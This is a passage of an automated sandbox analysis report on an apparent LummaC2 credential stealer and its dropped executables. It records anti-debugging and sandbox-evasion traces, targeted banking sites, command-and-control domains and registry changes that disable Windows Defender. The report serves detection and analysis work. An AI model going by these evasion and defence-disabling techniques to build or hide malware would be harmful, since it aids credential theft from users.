0x00000065 jo 00007F28E4BE5842h 0x0000006b jne 00007F28E4BE583Ch 0x00000071 call 00007F28E4BE5845h 0x00000076 jp 00007F28E4BE5838h 0x0000007c pop esi 0x0000007d xchg eax, ebx 0x0000007e push eax 0x0000007f push edx 0x00000080 js 00007F28E4BE583Ch 0x00000086 js 00007F28E4BE5836h 0x0000008c rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 20A069 second address: 20A06D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 20C0C2 second address: 20C0D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4BE583Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 20C333 second address: 20C34E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4D0ABC7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 20C34E second address: 20C369 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4BE5841h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 20C369 second address: 20C36D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 20E0A6 second address: 20E0AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 20E0AA second address: 20E0BC instructions: 0x00000000 rdtsc 0x00000002 je 00007F28E4D0ABB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007F28E4D0ABB6h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 20EFF3 second address: 20EFF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 20EFF7 second address: 20F023 instructions: 0x00000000 rdtsc 0x00000002 je 00007F28E4D0ABB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b jmp 00007F28E4D0ABC8h 0x00000010 pop edi 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 20F023 second address: 20F028 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 20FFE1 second address: 20FFE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 213176 second address: 213192 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4BE5844h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 213192 second address: 213196 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 21417A second address: 214181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 214181 second address: 2141FD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007F28E4D0ABBFh 0x0000000f push ecx 0x00000010 pushad 0x00000011 popad 0x00000012 pop ecx 0x00000013 popad 0x00000014 nop 0x00000015 jmp 00007F28E4D0ABC7h 0x0000001a push 00000000h 0x0000001c call 00007F28E4D0ABC4h 0x00000021 xor dword ptr [ebp+122D17D5h], eax 0x00000027 pop edi 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push edi 0x0000002d call 00007F28E4D0ABB8h 0x00000032 pop edi 0x00000033 mov dword ptr [esp+04h], edi 0x00000037 add dword ptr [esp+04h], 0000001Ah 0x0000003f inc edi 0x00000040 push edi 0x00000041 ret 0x00000042 pop edi 0x00000043 ret 0x00000044 push eax 0x00000045 pushad 0x00000046 push ebx 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 21504D second address: 2150D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F28E4BE5836h 0x00000009 jnp 00007F28E4BE5836h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov dword ptr [esp], eax 0x00000015 jg 00007F28E4BE583Ch 0x0000001b pushad 0x0000001c call 00007F28E4BE5844h 0x00000021 jp 00007F28E4BE5836h 0x00000027 pop ebx 0x00000028 sbb cx, D74Bh 0x0000002d popad 0x0000002e push 00000000h 0x00000030 mov edi, 27320E82h 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push ebp 0x0000003a call 00007F28E4BE5838h 0x0000003f pop ebp 0x00000040 mov dword ptr [esp+04h], ebp 0x00000044 add dword ptr [esp+04h], 0000001Ch 0x0000004c inc ebp 0x0000004d push ebp 0x0000004e ret 0x0000004f pop ebp 0x00000050 ret 0x00000051 pushad 0x00000052 sub dword ptr [ebp+124686A8h], edx 0x00000058 mov cx, 3831h 0x0000005c popad 0x0000005d push eax 0x0000005e push eax 0x0000005f push edx 0x00000060 jo 00007F28E4BE583Ch 0x00000066 push eax 0x00000067 push edx 0x00000068 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 2150D4 second address: 2150D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 213345 second address: 2133D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007F28E4BE5838h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 push dword ptr fs:[00000000h] 0x0000002a or ebx, 5F7567E9h 0x00000030 mov dword ptr fs:[00000000h], esp 0x00000037 call 00007F28E4BE583Ch 0x0000003c jc 00007F28E4BE5838h 0x00000042 pushad 0x00000043 popad 0x00000044 pop ebx 0x00000045 mov eax, dword ptr [ebp+122D1489h] 0x0000004b mov di, si 0x0000004e push FFFFFFFFh 0x00000050 adc bx, 4D75h 0x00000055 mov di, F9B6h 0x00000059 nop 0x0000005a jmp 00007F28E4BE5841h 0x0000005f push eax 0x00000060 push eax 0x00000061 push edx 0x00000062 pushad 0x00000063 pushad 0x00000064 popad 0x00000065 jmp 00007F28E4BE583Dh 0x0000006a popad 0x0000006b rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 2133D1 second address: 2133D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 2133D7 second address: 2133DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 21619B second address: 2161A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 21530B second address: 215310 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 215310 second address: 215325 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F28E4D0ABBCh 0x00000008 jc 00007F28E4D0ABB6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Special instruction interceptor: First address: B97BE6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Special instruction interceptor: First address: D3F5D0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Special instruction interceptor: First address: B9513A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Special instruction interceptor: First address: D53717 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Special instruction interceptor: First address: B97B19 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Special instruction interceptor: First address: DC8B07 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Special instruction interceptor: First address: 5DE01 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Special instruction interceptor: First address: 5DD52 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Special instruction interceptor: First address: 1F8753 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Special instruction interceptor: First address: 291888 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Special instruction interceptor: First address: 73E758 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Special instruction interceptor: First address: 59FB09 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Special instruction interceptor: First address: 7CA9EC instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Memory allocated: 4DD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Memory allocated: 4FC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Memory allocated: 6FC0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\Y41xQGmT37.exe TID: 6624	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe TID: 1408	Thread sleep time: -270000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe TID: 7668	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Y41xQGmT37.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe, RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe, 00000009.00000002.1659480402.00000000001D6000.00000040.00000001.01000000.00000006.sdmp, PSWNUEKNC3FPT2DCN2C27VPRVU.exe, PSWNUEKNC3FPT2DCN2C27VPRVU.exe, 0000000A.00000002.1688246562.000000000071B000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Y41xQGmT37.exe, 00000000.00000003.1327567931.0000000005904000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: Y41xQGmT37.exe, 00000000.00000003.1327567931.0000000005904000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: Y41xQGmT37.exe, 00000000.00000003.1327567931.0000000005904000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: Y41xQGmT37.exe, 00000000.00000003.1327567931.0000000005904000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: Y41xQGmT37.exe, 00000000.00000003.1327567931.0000000005904000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: Y41xQGmT37.exe, 00000000.00000003.1327567931.0000000005904000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: PSWNUEKNC3FPT2DCN2C27VPRVU.exe, 0000000A.00000002.1689307962.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware~
Source: Y41xQGmT37.exe, 00000000.00000003.1327567931.0000000005904000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: Y41xQGmT37.exe, 00000000.00000003.1327567931.0000000005904000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: Y41xQGmT37.exe, 00000000.00000003.1327567931.0000000005904000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: Y41xQGmT37.exe, 00000000.00000003.1327567931.0000000005904000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: Y41xQGmT37.exe, Y41xQGmT37.exe, 00000000.00000003.1401467923.00000000010D5000.00000004.00000020.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1521447129.00000000010D5000.00000004.00000020.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1397704572.00000000010D5000.00000004.00000020.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1438308547.00000000010D5000.00000004.00000020.00020000.00000000.sdmp, PSWNUEKNC3FPT2DCN2C27VPRVU.exe, 0000000A.00000002.1689307962.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, PSWNUEKNC3FPT2DCN2C27VPRVU.exe, 0000000A.00000002.1689307962.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Y41xQGmT37.exe, 00000000.00000003.1327567931.0000000005904000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: Y41xQGmT37.exe, 00000000.00000003.1327567931.0000000005904000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: Y41xQGmT37.exe, 00000000.00000003.1327567931.0000000005904000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: Y41xQGmT37.exe, 00000000.00000003.1327567931.0000000005904000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: Y41xQGmT37.exe, 00000000.00000003.1327497529.0000000005911000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: Y41xQGmT37.exe, 00000000.00000003.1327567931.0000000005904000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: Y41xQGmT37.exe, 00000000.00000003.1327567931.0000000005904000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: Y41xQGmT37.exe, 00000000.00000003.1327567931.0000000005904000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: Y41xQGmT37.exe, 00000000.00000003.1327567931.0000000005904000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: Y41xQGmT37.exe, 00000000.00000003.1327567931.0000000005904000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: Y41xQGmT37.exe, 00000000.00000003.1327567931.0000000005904000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: Y41xQGmT37.exe, 00000000.00000003.1327567931.0000000005904000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: Y41xQGmT37.exe, 00000000.00000003.1327567931.0000000005904000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: Y41xQGmT37.exe, 00000000.00000003.1327567931.0000000005904000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: PSWNUEKNC3FPT2DCN2C27VPRVU.exe, 0000000A.00000002.1689307962.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Y41xQGmT37.exe, 00000000.00000003.1327567931.0000000005904000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: Y41xQGmT37.exe, 00000000.00000003.1327567931.0000000005904000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: Y41xQGmT37.exe, 00000000.00000003.1327567931.0000000005904000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: Y41xQGmT37.exe, 00000000.00000003.1327567931.0000000005904000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe, 00000009.00000002.1659480402.00000000001D6000.00000040.00000001.01000000.00000006.sdmp, PSWNUEKNC3FPT2DCN2C27VPRVU.exe, 0000000A.00000002.1688246562.000000000071B000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Y41xQGmT37.exe, 00000000.00000003.1327567931.0000000005904000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: Y41xQGmT37.exe, 00000000.00000003.1327567931.0000000005904000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: Y41xQGmT37.exe, 00000000.00000003.1327567931.0000000005904000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: Y41xQGmT37.exe, 00000000.00000003.1327567931.0000000005904000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\Y41xQGmT37.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\Y41xQGmT37.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: PSWNUEKNC3FPT2DCN2C27VPRVU.exe PID: 7708, type: MEMORYSTR

LummaC encrypted strings found

Source: Y41xQGmT37.exe, 00000000.00000003.1252704079.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: Y41xQGmT37.exe, 00000000.00000003.1252704079.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: Y41xQGmT37.exe, 00000000.00000003.1252704079.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: Y41xQGmT37.exe, 00000000.00000003.1252704079.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: Y41xQGmT37.exe, 00000000.00000003.1252704079.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: Y41xQGmT37.exe, 00000000.00000003.1252704079.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: Y41xQGmT37.exe, 00000000.00000003.1252704079.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: Y41xQGmT37.exe, 00000000.00000003.1252704079.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: Y41xQGmT37.exe, 00000000.00000003.1252704079.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sweepyribs.lat

Source: PSWNUEKNC3FPT2DCN2C27VPRVU.exe, PSWNUEKNC3FPT2DCN2C27VPRVU.exe, 0000000A.00000002.1688519609.0000000000761000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Program Manager
Source: RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe, RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe, 00000009.00000002.1659480402.00000000001D6000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: DProgram Manager

Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\Y41xQGmT37.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
